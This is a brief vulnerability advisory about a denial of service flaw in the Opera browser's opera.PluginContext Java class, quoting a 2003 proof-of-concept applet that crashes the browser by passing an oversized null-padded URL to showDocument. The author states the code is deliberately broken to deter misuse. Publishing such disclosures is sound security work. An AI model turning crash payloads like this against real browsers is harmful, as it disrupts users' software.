Opera opera.PluginContext Native Method Denial Of Service Vulnerability

Opera opera.PluginContext Native Method Denial Of Service Vulnerability

The following proof-of-concept was provided:

//Marc Schoenefeld 1/13/2003, www.illegalaccess.org
//not runnable, a little crippled, there are couple of obvious syntax errors
to avoid script-kidding

...
import opera.PluginContext; // !! import the vulnerable class
...

public class OperaCall2 extends App1et
{
- -
- - public OperaCall2()
- - {
- - }
- -
- - public void paint(Graphics g)
- - {
- - PluginContext plugincontext = new PluginContext(l);
- - try
- - {
- - plugincontext.showDocument(new URL("http://xxx.xxx" + new
String(new byte[30000])));
- - }
- - catch(Exception exception)
- - {
- - exception.printStackTrace();
- - }
- - }
}